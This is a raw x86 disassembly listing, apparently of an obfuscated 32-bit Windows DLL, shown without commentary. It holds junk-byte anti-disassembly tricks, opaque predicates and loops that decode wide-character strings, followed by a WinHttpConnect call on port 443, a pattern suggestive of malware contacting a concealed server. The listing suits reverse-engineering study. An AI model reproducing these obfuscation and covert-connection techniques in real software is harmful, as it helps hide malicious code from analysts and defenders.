sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1b5a
xor eax, eax
je 0x100f189f
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx - 0xb773], cl
dec dword [ebx - 0x30fc5783]
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0xb8]
mov edi, dword [ebp - 0x58]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f19b3
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f19b3
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f1a28
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1813
mov esi, dword [ebp - 0x50]
xor edx, edx
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
jmp 0x100f1819
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x64], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1a2b
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x64], eax
xor eax, eax
je 0x100f1a30
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1aae
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1aae
mov dword [ebp - 0x8c], 3
jmp 0x100f1b1d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1b1d
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
and ax, word [ebp - 0x8c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
sub ax, cx
add ax, word [ebp - 0x88]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x246], cx
jmp 0x100f1b68
lea eax, [edi + esi]
mov dword [ebp - 0x64], eax
lea eax, [esi + esi*8]
add eax, edi
mov dword [ebp - 0x68], eax
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1da0
xor eax, eax
je 0x100f1b8f
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1c0a
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1c0a
mov dword [ebp - 0x80], 3
jmp 0x100f1c76
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1c76
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
xor eax, eax
je 0x100f1c7b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1cf9
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1cf9
mov dword [ebp - 0x84], 3
jmp 0x100f1d68
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1d68
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
and ax, word [ebp - 0x84]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
sub ax, cx
add ax, word [ebp - 0x80]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x246], cx
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, dword [ebp - 0x58]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2007
mov eax, dword [ebp - 0x48]
add eax, 0x7e
mov dword [ebp - 0xc4], eax
xor eax, eax
je 0x100f1de3
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1e66
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1e66
mov dword [ebp - 0x78], 3
jmp 0x100f1ed2
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1ed2
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x48]
add eax, 0x7e
mov dword [ebp - 0xc4], eax
xor eax, eax
je 0x100f1ee3
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1f66
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1f66
mov dword [ebp - 0x7c], 3
jmp 0x100f1fd2
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1fd2
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
and ax, word [ebp - 0x7c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
sub ax, cx
add ax, word [ebp - 0x78]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x246], cx
movsx eax, byte [0x1017b440]
imul eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x54]
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2277
xor eax, eax
je 0x100f2031
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx - 0xb773], cl
dec dword [ebx - 0x30fc5783]
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0xb8]
mov edi, dword [ebp - 0x58]
add ecx, edi
mov dword [ebp - 0xc4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f20c7
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f20c7
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f213c
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f213f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f2144
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xc4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f21ca
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, edx
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f21ca
mov dword [ebp - 0xa0], 3
jmp 0x100f223c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2239
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
and ax, word [ebp - 0xa0]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
sub ax, cx
add ax, word [ebp - 0xb4]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x246], cx
mov eax, dword [ebp - 0x48]
mov esi, dword [ebp - 0x50]
inc eax
mov edi, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x18
jb 0x100f1651
push 0
push 0x1bb
lea eax, [ebp - 0x246]
mov byte [ebp - 0x248], 1
push eax
push dword [ebp - 0xd0]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0xc4], eax
test eax, eax
je 0x100f9a0f
movups xmm0, xmmword [0x1014471c]
movups xmmword [ebp - 0x214], xmm0
movups xmm0, xmmword [0x1014472c]
movups xmmword [ebp - 0x204], xmm0
movq xmm0, qword [0x1014473c]
movq qword [ebp - 0x1f4], xmm0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x13
jae 0x100f2f82
call fcn.100fb5a0
movsx ecx, al
mov dword [ebp - 0x5c], ecx
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x54], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x60], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x50], esi
call fcn.100fb5c0
movsx edi, al
lea eax, [esi + esi*8]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0xa0], eax
nop
movsx eax, byte [0x1017b440]
imul eax, ecx
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2548
xor eax, eax
je 0x100f2378
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bb075], cl
test al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2409
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2409
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f247b
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f247e
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f2483
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f262e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f262e
mov dword [ebp - 0x94], 3
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
and ax, word [ebp - 0x94]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
sub ax, cx
add ax, word [ebp - 0x90]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x212], cx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi*8]
add eax, ecx
xor edx, edx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2cfe
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2851
xor eax, eax
je 0x100f2593
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx - 0x9f73], cl
dec dword [ebx - 0x30fc5783]
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x58]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f26a7
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f26a7
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f271c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2507
mov esi, dword [ebp - 0x50]
xor edx, edx
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
jmp 0x100f250d
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x64], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f271f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x64], eax
xor eax, eax
je 0x100f2724
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f27a5
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f27a5
mov dword [ebp - 0x8c], 3
jmp 0x100f2814
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2814
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
and ax, word [ebp - 0x8c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
sub ax, cx
add ax, word [ebp - 0x88]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x212], cx
jmp 0x100f285f
lea eax, [esi + esi*8]
add eax, edi
mov dword [ebp - 0x68], eax
lea eax, [esi + edi]
mov dword [ebp - 0x64], eax
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2a9d
xor eax, eax
je 0x100f2886
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
